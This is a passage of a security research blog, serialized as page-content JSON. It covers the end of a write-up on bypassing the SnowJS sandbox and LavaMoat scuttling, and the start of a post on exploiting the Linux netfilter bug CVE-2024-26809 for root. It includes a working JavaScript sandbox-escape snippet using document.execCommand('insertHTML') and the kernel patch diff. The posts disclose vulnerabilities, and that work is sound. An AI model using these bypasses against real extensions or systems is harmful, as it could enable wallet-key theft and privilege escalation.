HTMLIFrameElement:",{"type":22,"tag":264,"props":51279,"children":51280},{"style":1539},[51281],{"type":27,"value":24333},{"type":22,"tag":264,"props":51283,"children":51284},{"style":1597},[51285],{"type":27,"value":51286},"'srcdoc'",{"type":22,"tag":264,"props":51288,"children":51289},{"style":1539},[51290],{"type":27,"value":15562},{"type":22,"tag":264,"props":51292,"children":51293},{"class":1534,"line":1629},[51294],{"type":22,"tag":264,"props":51295,"children":51296},{"style":1539},[51297],{"type":27,"value":17878},{"type":22,"tag":23,"props":51299,"children":51300},{},[51301],{"type":27,"value":51302},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":22,"tag":23,"props":51304,"children":51305},{},[51306],{"type":27,"value":51307},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":22,"tag":181,"props":51309,"children":51311},{"id":51310},"bypassing-snowjs",[51312],{"type":27,"value":51313},"Bypassing SnowJS",{"type":22,"tag":23,"props":51315,"children":51316},{},[51317,51319,51330,51332,51338],{"type":27,"value":51318},"The deprecated ",{"type":22,"tag":69,"props":51320,"children":51323},{"href":51321,"rel":51322},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[73],[51324],{"type":22,"tag":257,"props":51325,"children":51327},{"className":51326},[],[51328],{"type":27,"value":51329},"document.execCommand",{"type":27,"value":51331}," function is used to execute commands inside a ",{"type":22,"tag":257,"props":51333,"children":51335},{"className":51334},[],[51336],{"type":27,"value":51337},"contenteditable",{"type":27,"value":51339}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":22,"tag":618,"props":51341,"children":51344},{"className":51342,"code":51343,"language":33698,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51345],{"type":22,"tag":257,"props":51346,"children":51347},{"__ignoreMap":7},[51348],{"type":22,"tag":264,"props":51349,"children":51350},{"class":1534,"line":1535},[51351,51355,51359,51363,51367,51372,51377,51382,51387,51391],{"type":22,"tag":264,"props":51352,"children":51353},{"style":33691},[51354],{"type":27,"value":7097},{"type":22,"tag":264,"props":51356,"children":51357},{"style":4293},[51358],{"type":27,"value":32661},{"type":22,"tag":264,"props":51360,"children":51361},{"style":1549},[51362],{"type":27,"value":33771},{"type":22,"tag":264,"props":51364,"children":51365},{"style":1539},[51366],{"type":27,"value":429},{"type":22,"tag":264,"props":51368,"children":51369},{"style":1597},[51370],{"type":27,"value":51371},"test",{"type":22,"tag":264,"props":51373,"children":51374},{"style":1549},[51375],{"type":27,"value":51376}," contenteditable",{"type":22,"tag":264,"props":51378,"children":51379},{"style":1549},[51380],{"type":27,"value":51381}," autofocus",{"type":22,"tag":264,"props":51383,"children":51384},{"style":33691},[51385],{"type":27,"value":51386},">\u003C/",{"type":22,"tag":264,"props":51388,"children":51389},{"style":4293},[51390],{"type":27,"value":32661},{"type":22,"tag":264,"props":51392,"children":51393},{"style":33691},[51394],{"type":27,"value":7284},{"type":22,"tag":23,"props":51396,"children":51397},{},[51398,51400,51406,51408,51413],{"type":27,"value":51399},"After inserting this element to a page, it is possible to use ",{"type":22,"tag":257,"props":51401,"children":51403},{"className":51402},[],[51404],{"type":27,"value":51405},"insertHTML",{"type":27,"value":51407}," command of ",{"type":22,"tag":257,"props":51409,"children":51411},{"className":51410},[],[51412],{"type":27,"value":51329},{"type":27,"value":51414}," to add a non-sandboxed iframe.",{"type":22,"tag":618,"props":51416,"children":51418},{"className":32678,"code":51417,"language":32680,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[51419],{"type":22,"tag":257,"props":51420,"children":51421},{"__ignoreMap":7},[51422],{"type":22,"tag":264,"props":51423,"children":51424},{"class":1534,"line":1535},[51425,51429,51433,51438,51442,51447,51451,51455,51459,51464],{"type":22,"tag":264,"props":51426,"children":51427},{"style":1549},[51428],{"type":27,"value":34023},{"type":22,"tag":264,"props":51430,"children":51431},{"style":1539},[51432],{"type":27,"value":210},{"type":22,"tag":264,"props":51434,"children":51435},{"style":4401},[51436],{"type":27,"value":51437},"execCommand",{"type":22,"tag":264,"props":51439,"children":51440},{"style":1539},[51441],{"type":27,"value":2660},{"type":22,"tag":264,"props":51443,"children":51444},{"style":1597},[51445],{"type":27,"value":51446},"'insertHTML'",{"type":22,"tag":264,"props":51448,"children":51449},{"style":1539},[51450],{"type":27,"value":4380},{"type":22,"tag":264,"props":51452,"children":51453},{"style":4293},[51454],{"type":27,"value":9469},{"type":22,"tag":264,"props":51456,"children":51457},{"style":1539},[51458],{"type":27,"value":4380},{"type":22,"tag":264,"props":51460,"children":51461},{"style":1597},[51462],{"type":27,"value":51463},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":22,"tag":264,"props":51465,"children":51466},{"style":1539},[51467],{"type":27,"value":5142},{"type":22,"tag":181,"props":51469,"children":51471},{"id":51470},"impact-on-lavamoat-scuttling",[51472],{"type":27,"value":51473},"Impact On Lavamoat Scuttling",{"type":22,"tag":23,"props":51475,"children":51476},{},[51477],{"type":27,"value":51478},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":22,"tag":23,"props":51480,"children":51481},{},[51482,51484,51489,51491,51496],{"type":27,"value":51483},"For the exploit, the only used functions are in ",{"type":22,"tag":257,"props":51485,"children":51487},{"className":51486},[],[51488],{"type":27,"value":34023},{"type":27,"value":51490}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":22,"tag":257,"props":51492,"children":51494},{"className":51493},[],[51495],{"type":27,"value":38731},{"type":27,"value":51497}," object.",{"type":22,"tag":23,"props":51499,"children":51500},{},[51501,51503,51508],{"type":27,"value":51502},"Consider this example, which runs a scuttled ",{"type":22,"tag":257,"props":51504,"children":51506},{"className":51505},[],[51507],{"type":27,"value":34013},{"type":27,"value":26780},{"type":22,"tag":618,"props":51510,"children":51512},{"className":32678,"code":51511,"language":32680,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[51513],{"type":22,"tag":257,"props":51514,"children":51515},{"__ignoreMap":7},[51516,51552,51589,51632],{"type":22,"tag":264,"props":51517,"children":51518},{"class":1534,"line":1535},[51519,51523,51527,51531,51535,51539,51543,51548],{"type":22,"tag":264,"props":51520,"children":51521},{"style":1549},[51522],{"type":27,"value":34023},{"type":22,"tag":264,"props":51524,"children":51525},{"style":1539},[51526],{"type":27,"value":210},{"type":22,"tag":264,"props":51528,"children":51529},{"style":1549},[51530],{"type":27,"value":33715},{"type":22,"tag":264,"props":51532,"children":51533},{"style":1539},[51534],{"type":27,"value":210},{"type":22,"tag":264,"props":51536,"children":51537},{"style":1549},[51538],{"type":27,"value":36286},{"type":22,"tag":264,"props":51540,"children":51541},{"style":4309},[51542],{"type":27,"value":4312},{"type":22,"tag":264,"props":51544,"children":51545},{"style":1597},[51546],{"type":27,"value":51547}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":22,"tag":264,"props":51549,"children":51550},{"style":1539},[51551],{"type":27,"value":4322},{"type":22,"tag":264,"props":51553,"children":51554},{"class":1534,"line":1545},[51555,51559,51563,51567,51571,51576,51580,51585],{"type":22,"tag":264,"props":51556,"children":51557},{"style":1549},[51558],{"type":27,"value":34023},{"type":22,"tag":264,"props":51560,"children":51561},{"style":1539},[51562],{"type":27,"value":210},{"type":22,"tag":264,"props":51564,"children":51565},{"style":4401},[51566],{"type":27,"value":36311},{"type":22,"tag":264,"props":51568,"children":51569},{"style":1539},[51570],{"type":27,"value":2660},{"type":22,"tag":264,"props":51572,"children":51573},{"style":1597},[51574],{"type":27,"value":51575},"'test'",{"type":22,"tag":264,"props":51577,"children":51578},{"style":1539},[51579],{"type":27,"value":22049},{"type":22,"tag":264,"props":51581,"children":51582},{"style":4401},[51583],{"type":27,"value":51584},"focus",{"type":22,"tag":264,"props":51586,"children":51587},{"style":1539},[51588],{"type":27,"value":4977},{"type":22,"tag":264,"props":51590,"children":51591},{"class":1534,"line":1560},[51592,51596,51600,51604,51608,51612,51616,51620,51624,51628],{"type":22,"tag":264,"props":51593,"children":51594},{"style":1549},[51595],{"type":27,"value":34023},{"type":22,"tag":264,"props":51597,"children":51598},{"style":1539},[51599],{"type":27,"value":210},{"type":22,"tag":264,"props":51601,"children":51602},{"style":4401},[51603],{"type":27,"value":51437},{"type":22,"tag":264,"props":51605,"children":51606},{"style":1539},[51607],{"type":27,"value":2660},{"type":22,"tag":264,"props":51609,"children":51610},{"style":1597},[51611],{"type":27,"value":51446},{"type":22,"tag":264,"props":51613,"children":51614},{"style":1539},[51615],{"type":27,"value":4380},{"type":22,"tag":264,"props":51617,"children":51618},{"style":4293},[51619],{"type":27,"value":9469},{"type":22,"tag":264,"props":51621,"children":51622},{"style":1539},[51623],{"type":27,"value":4380},{"type":22,"tag":264,"props":51625,"children":51626},{"style":1597},[51627],{"type":27,"value":51463},{"type":22,"tag":264,"props":51629,"children":51630},{"style":1539},[51631],{"type":27,"value":5142},{"type":22,"tag":264,"props":51633,"children":51634},{"class":1534,"line":1569},[51635,51639,51643,51648,51652,51656,51661,51665,51670,51675,51679,51683,51687,51691,51695,51699],{"type":22,"tag":264,"props":51636,"children":51637},{"style":1549},[51638],{"type":27,"value":34023},{"type":22,"tag":264,"props":51640,"children":51641},{"style":1539},[51642],{"type":27,"value":210},{"type":22,"tag":264,"props":51644,"children":51645},{"style":4401},[51646],{"type":27,"value":51647},"getElementsByTagName",{"type":22,"tag":264,"props":51649,"children":51650},{"style":1539},[51651],{"type":27,"value":2660},{"type":22,"tag":264,"props":51653,"children":51654},{"style":1597},[51655],{"type":27,"value":38045},{"type":22,"tag":264,"props":51657,"children":51658},{"style":1539},[51659],{"type":27,"value":51660},")[",{"type":22,"tag":264,"props":51662,"children":51663},{"style":4344},[51664],{"type":27,"value":5334},{"type":22,"tag":264,"props":51666,"children":51667},{"style":1539},[51668],{"type":27,"value":51669},"].",{"type":22,"tag":264,"props":51671,"children":51672},{"style":1549},[51673],{"type":27,"value":51674},"contentWindow",{"type":22,"tag":264,"props":51676,"children":51677},{"style":1539},[51678],{"type":27,"value":210},{"type":22,"tag":264,"props":51680,"children":51681},{"style":4401},[51682],{"type":27,"value":34013},{"type":22,"tag":264,"props":51684,"children":51685},{"style":1539},[51686],{"type":27,"value":2660},{"type":22,"tag":264,"props":51688,"children":51689},{"style":1549},[51690],{"type":27,"value":34023},{"type":22,"tag":264,"props":51692,"children":51693},{"style":1539},[51694],{"type":27,"value":210},{"type":22,"tag":264,"props":51696,"children":51697},{"style":1549},[51698],{"type":27,"value":34033},{"type":22,"tag":264,"props":51700,"children":51701},{"style":1539},[51702],{"type":27,"value":5142},{"type":22,"tag":181,"props":51704,"children":51706},{"id":51705},"snowjs-patch",[51707],{"type":27,"value":51708},"SnowJS Patch",{"type":22,"tag":23,"props":51710,"children":51711},{},[51712,51714,51721,51723,51730],{"type":27,"value":51713},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":22,"tag":69,"props":51715,"children":51718},{"href":51716,"rel":51717},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[73],[51719],{"type":27,"value":51720},"browser feature within W3C standards",{"type":27,"value":51722},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":22,"tag":69,"props":51724,"children":51727},{"href":51725,"rel":51726},"https://github.com/weizman/Realms-Initialization-Control",[73],[51728],{"type":27,"value":51729},"Here",{"type":27,"value":51731}," is their new proposal.",{"type":22,"tag":169,"props":51733,"children":51735},{"id":51734},"chaining-the-impacts",[51736],{"type":27,"value":51737},"Chaining The Impacts",{"type":22,"tag":23,"props":51739,"children":51740},{},[51741],{"type":27,"value":51742},"We were able to find two vulnerabilities in lavamoat project:",{"type":22,"tag":1867,"props":51744,"children":51745},{},[51746,51751],{"type":22,"tag":1871,"props":51747,"children":51748},{},[51749],{"type":27,"value":51750},"Policy File Bypass",{"type":22,"tag":1871,"props":51752,"children":51753},{},[51754],{"type":27,"value":51755},"Scuttling Bypass",{"type":22,"tag":23,"props":51757,"children":51758},{},[51759],{"type":27,"value":51760},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":22,"tag":23,"props":51762,"children":51763},{},[51764],{"type":27,"value":51765},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":22,"tag":169,"props":51767,"children":51768},{"id":30246},[51769],{"type":27,"value":20252},{"type":22,"tag":23,"props":51771,"children":51772},{},[51773],{"type":27,"value":51774},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":22,"tag":32661,"props":51776,"children":51777},{"style":32663},[51778],{"type":22,"tag":215,"props":51779,"children":51782},{"src":51780,"alt":51781,"style":32669},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":22,"tag":19725,"props":51784,"children":51786},{"className":51785,"dataFootnotes":7},[19728],[51787,51792],{"type":22,"tag":169,"props":51788,"children":51790},{"className":51789,"id":16780},[19733],[51791],{"type":27,"value":19736},{"type":22,"tag":1867,"props":51793,"children":51794},{},[51795],{"type":22,"tag":1871,"props":51796,"children":51797},{"id":31680},[51798,51800,51807,51808],{"type":27,"value":51799},"Excluding SES, which was covered ",{"type":22,"tag":69,"props":51801,"children":51804},{"href":51802,"rel":51803},"https://osec.io/blog/2023-11-01-metamask-snaps",[73],[51805],{"type":27,"value":51806},"in our last article",{"type":27,"value":7750},{"type":22,"tag":69,"props":51809,"children":51811},{"href":31708,"ariaLabel":19839,"className":51810,"dataFootnoteBackref":7},[19841],[51812],{"type":27,"value":19844},{"type":22,"tag":4139,"props":51814,"children":51815},{},[51816],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":51818},[51819,51823,51829,51835,51836,51837],{"id":20261,"depth":1545,"text":20264,"children":51820},[51821,51822],{"id":30329,"depth":1560,"text":30332},{"id":48440,"depth":1560,"text":48443},{"id":49196,"depth":1545,"text":49199,"children":51824},[51825,51826,51827,51828],{"id":49447,"depth":1560,"text":49450},{"id":49922,"depth":1560,"text":49925},{"id":50579,"depth":1560,"text":50582},{"id":50702,"depth":1560,"text":50705},{"id":50820,"depth":1545,"text":50823,"children":51830},[51831,51832,51833,51834],{"id":50948,"depth":1560,"text":50951},{"id":51310,"depth":1560,"text":51313},{"id":51470,"depth":1560,"text":51473},{"id":51705,"depth":1560,"text":51708},{"id":51734,"depth":1545,"text":51737},{"id":30246,"depth":1545,"text":20252},{"id":16780,"depth":1545,"text":19736},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":51842,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51843,"description":51844,"author":51845,"image":51846,"date":51848,"isFeatured":17,"tags":51849,"onBlogPage":17,"body":51852,"_type":4157,"_id":62232,"_source":4159,"_file":62233,"_stem":62234,"_extension":4162},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":51847,"height":10563,"width":7014},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[51850,51851],"kernal","linux",{"type":19,"children":51853,"toc":62200},[51854,51867,51881,51886,51892,51902,51907,51913,51918,51936,51950,51959,51992,51997,52003,52022,52055,52061,52074,52284,52351,52915,52934,53159,53218,53224,53244,53284,53472,53477,53628,53684,53689,54203,54222,54491,54517,55026,55093,55099,55135,55140,55406,55439,55451,55478,55490,55495,55501,55522,55528,55549,55572,56404,56410,56450,56990,57001,57035,57101,57155,57387,57393,57437,57901,57907,57918,57948,58031,58036,58041,58077,58129,58160,58715,58721,58738,58744,58749,58755,58783,58976,58996,59012,59607,59613,59648,59671,59683,59689,59717,60314,60339,61308,61319,61332,61345,62111,62125,62131,62143,62149,62177,62182,62186,62191,62196],{"type":22,"tag":23,"props":51855,"children":51856},{},[51857,51859,51866],{"type":27,"value":51858},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":22,"tag":69,"props":51860,"children":51863},{"href":51861,"rel":51862},"https://google.github.io/security-research/kernelctf/rules.html",[73],[51864],{"type":27,"value":51865},"KernelCTF VRP",{"type":27,"value":210},{"type":22,"tag":23,"props":51868,"children":51869},{},[51870,51872,51879],{"type":27,"value":51871},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":22,"tag":69,"props":51873,"children":51876},{"href":51874,"rel":51875},"https://github.com/conlonialC",[73],[51877],{"type":27,"value":51878},"lonial con",{"type":27,"value":51880},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":22,"tag":23,"props":51882,"children":51883},{},[51884],{"type":27,"value":51885},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":22,"tag":169,"props":51887,"children":51889},{"id":51888},"the-kernel",[51890],{"type":27,"value":51891},"The kernel",{"type":22,"tag":23,"props":51893,"children":51894},{},[51895,51897],{"type":27,"value":51896},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":22,"tag":215,"props":51898,"children":51901},{"alt":51899,"src":51900},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":22,"tag":23,"props":51903,"children":51904},{},[51905],{"type":27,"value":51906},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":22,"tag":181,"props":51908,"children":51910},{"id":51909},"kernel-exploitation",[51911],{"type":27,"value":51912},"Kernel exploitation",{"type":22,"tag":23,"props":51914,"children":51915},{},[51916],{"type":27,"value":51917},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":22,"tag":17988,"props":51919,"children":51920},{},[51921,51926,51931],{"type":22,"tag":1871,"props":51922,"children":51923},{},[51924],{"type":27,"value":51925},"Trigger some memory corruption in some kernel subsystem",{"type":22,"tag":1871,"props":51927,"children":51928},{},[51929],{"type":27,"value":51930},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":22,"tag":1871,"props":51932,"children":51933},{},[51934],{"type":27,"value":51935},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":22,"tag":23,"props":51937,"children":51938},{},[51939,51941,51948],{"type":27,"value":51940},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":22,"tag":69,"props":51942,"children":51945},{"href":51943,"rel":51944},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[73],[51946],{"type":27,"value":51947},"blog post",{"type":27,"value":51949}," to become more familiar with the topic.",{"type":22,"tag":169,"props":51951,"children":51953},{"id":51952},"nf_tables",[51954],{"type":22,"tag":257,"props":51955,"children":51957},{"className":51956},[],[51958],{"type":27,"value":51952},{"type":22,"tag":23,"props":51960,"children":51961},{},[51962,51967,51969,51975,51976,51982,51984,51990],{"type":22,"tag":257,"props":51963,"children":51965},{"className":51964},[],[51966],{"type":27,"value":51952},{"type":27,"value":51968}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":22,"tag":69,"props":51970,"children":51973},{"href":51971,"rel":51972},"https://pwning.tech/nftables",[73],[51974],{"type":27,"value":602},{"type":27,"value":4380},{"type":22,"tag":69,"props":51977,"children":51980},{"href":51978,"rel":51979},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[73],[51981],{"type":27,"value":3568},{"type":27,"value":51983},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":22,"tag":257,"props":51985,"children":51987},{"className":51986},[],[51988],{"type":27,"value":51989},"nf_table",{"type":27,"value":51991}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":22,"tag":23,"props":51993,"children":51994},{},[51995],{"type":27,"value":51996},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":22,"tag":181,"props":51998,"children":52000},{"id":51999},"transactions",[52001],{"type":27,"value":52002},"Transactions",{"type":22,"tag":23,"props":52004,"children":52005},{},[52006,52008,52013,52015,52020],{"type":27,"value":52007},"A transaction is an interaction that updates ",{"type":22,"tag":257,"props":52009,"children":52011},{"className":52010},[],[52012],{"type":27,"value":51952},{"type":27,"value":52014}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":22,"tag":257,"props":52016,"children":52018},{"className":52017},[],[52019],{"type":27,"value":51952},{"type":27,"value":52021}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":22,"tag":17988,"props":52023,"children":52024},{},[52025,52035,52045],{"type":22,"tag":1871,"props":52026,"children":52027},{},[52028,52033],{"type":22,"tag":242,"props":52029,"children":52030},{},[52031],{"type":27,"value":52032},"Control plane",{"type":27,"value":52034},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":22,"tag":1871,"props":52036,"children":52037},{},[52038,52043],{"type":22,"tag":242,"props":52039,"children":52040},{},[52041],{"type":27,"value":52042},"Commit path",{"type":27,"value":52044},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":22,"tag":1871,"props":52046,"children":52047},{},[52048,52053],{"type":22,"tag":242,"props":52049,"children":52050},{},[52051],{"type":27,"value":52052},"Abort path",{"type":27,"value":52054},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":22,"tag":169,"props":52056,"children":52058},{"id":52057},"vulnerability-details",[52059],{"type":27,"value":52060},"Vulnerability details",{"type":22,"tag":23,"props":52062,"children":52063},{},[52064,52066,52072],{"type":27,"value":52065},"Moving on, let's check out the ",{"type":22,"tag":69,"props":52067,"children":52070},{"href":52068,"rel":52069},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[73],[52071],{"type":27,"value":1974},{"type":27,"value":52073}," that fixed the bug.",{"type":22,"tag":618,"props":52075,"children":52077},{"className":41675,"code":52076,"language":41677,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[52078],{"type":22,"tag":257,"props":52079,"children":52080},{"__ignoreMap":7},[52081,52089,52097,52105,52113,52121,52128,52136,52143,52151,52159,52167,52175,52183,52191,52199,52207,52215,52223,52231,52238,52246,52254,52262,52269,52276],{"type":22,"tag":264,"props":52082,"children":52083},{"class":1534,"line":1535},[52084],{"type":22,"tag":264,"props":52085,"children":52086},{"style":4293},[52087],{"type":27,"value":52088},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":264,"props":52090,"children":52091},{"class":1534,"line":1545},[52092],{"type":22,"tag":264,"props":52093,"children":52094},{"style":1539},[52095],{"type":27,"value":52096},"index c0ceea068936a6..df8de509024637 100644\n",{"type":22,"tag":264,"props":52098,"children":52099},{"class":1534,"line":1560},[52100],{"type":22,"tag":264,"props":52101,"children":52102},{"style":4293},[52103],{"type":27,"value":52104},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":264,"props":52106,"children":52107},{"class":1534,"line":1569},[52108],{"type":22,"tag":264,"props":52109,"children":52110},{"style":4293},[52111],{"type":27,"value":52112},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":22,"tag":264,"props":52114,"children":52115},{"class":1534,"line":1583},[52116],{"type":22,"tag":264,"props":52117,"children":52118},{"style":1539},[52119],{"type":27,"value":52120},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":264,"props":52122,"children":52123},{"class":1534,"line":1603},[52124],{"type":22,"tag":264,"props":52125,"children":52126},{"emptyLinePlaceholder":17},[52127],{"type":27,"value":4986},{"type":22,"tag":264,"props":52129,"children":52130},{"class":1534,"line":1612},[52131],{"type":22,"tag":264,"props":52132,"children":52133},{"style":1539},[52134],{"type":27,"value":52135},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":22,"tag":264,"props":52137,"children":52138},{"class":1534,"line":1621},[52139],{"type":22,"tag":264,"props":52140,"children":52141},{"emptyLinePlaceholder":17},[52142],{"type":27,"value":4986},{"type":22,"tag":264,"props":52144,"children":52145},{"class":1534,"line":1629},[52146],{"type":22,"tag":264,"props":52147,"children":52148},{"style":1539},[52149],{"type":27,"value":52150},"  if (m) {\n",{"type":22,"tag":264,"props":52152,"children":52153},{"class":1534,"line":1642},[52154],{"type":22,"tag":264,"props":52155,"children":52156},{"style":1539},[52157],{"type":27,"value":52158},"   rcu_barrier();\n",{"type":22,"tag":264,"props":52160,"children":52161},{"class":1534,"line":1660},[52162],{"type":22,"tag":264,"props":52163,"children":52164},{"style":1539},[52165],{"type":27,"value":52166}," \n",{"type":22,"tag":264,"props":52168,"children":52169},{"class":1534,"line":1668},[52170],{"type":22,"tag":264,"props":52171,"children":52172},{"style":1597},[52173],{"type":27,"value":52174},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":22,"tag":264,"props":52176,"children":52177},{"class":1534,"line":1677},[52178],{"type":22,"tag":264,"props":52179,"children":52180},{"style":1597},[52181],{"type":27,"value":52182},"-\n",{"type":22,"tag":264,"props":52184,"children":52185},{"class":1534,"line":1686},[52186],{"type":22,"tag":264,"props":52187,"children":52188},{"style":1539},[52189],{"type":27,"value":52190},"   for_each_possible_cpu(cpu)\n",{"type":22,"tag":264,"props":52192,"children":52193},{"class":1534,"line":4948},[52194],{"type":22,"tag":264,"props":52195,"children":52196},{"style":1539},[52197],{"type":27,"value":52198},"    pipapo_free_scratch(m, cpu);\n",{"type":22,"tag":264,"props":52200,"children":52201},{"class":1534,"line":4957},[52202],{"type":22,"tag":264,"props":52203,"children":52204},{"style":1539},[52205],{"type":27,"value":52206},"   free_percpu(m->scratch);\n",{"type":22,"tag":264,"props":52208,"children":52209},{"class":1534,"line":4980},[52210],{"type":22,"tag":264,"props":52211,"children":52212},{"style":1539},[52213],{"type":27,"value":52214},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":22,"tag":264,"props":52216,"children":52217},{"class":1534,"line":4989},[52218],{"type":22,"tag":264,"props":52219,"children":52220},{"style":1539},[52221],{"type":27,"value":52222},"  if (priv->clone) {\n",{"type":22,"tag":264,"props":52224,"children":52225},{"class":1534,"line":4998},[52226],{"type":22,"tag":264,"props":52227,"children":52228},{"style":1539},[52229],{"type":27,"value":52230},"   m = priv->clone;\n",{"type":22,"tag":264,"props":52232,"children":52233},{"class":1534,"line":5067},[52234],{"type":22,"tag":264,"props":52235,"children":52236},{"style":1539},[52237],{"type":27,"value":52166},{"type":22,"tag":264,"props":52239,"children":52240},{"class":1534,"line":5075},[52241],{"type":22,"tag":264,"props":52242,"children":52243},{"style":1597},[52244],{"type":27,"value":52245},"-  if (priv->dirty)\n",{"type":22,"tag":264,"props":52247,"children":52248},{"class":1534,"line":5105},[52249],{"type":22,"tag":264,"props":52250,"children":52251},{"style":1597},[52252],{"type":27,"value":52253},"-   nft_set_pipapo_match_destroy(ctx, set, 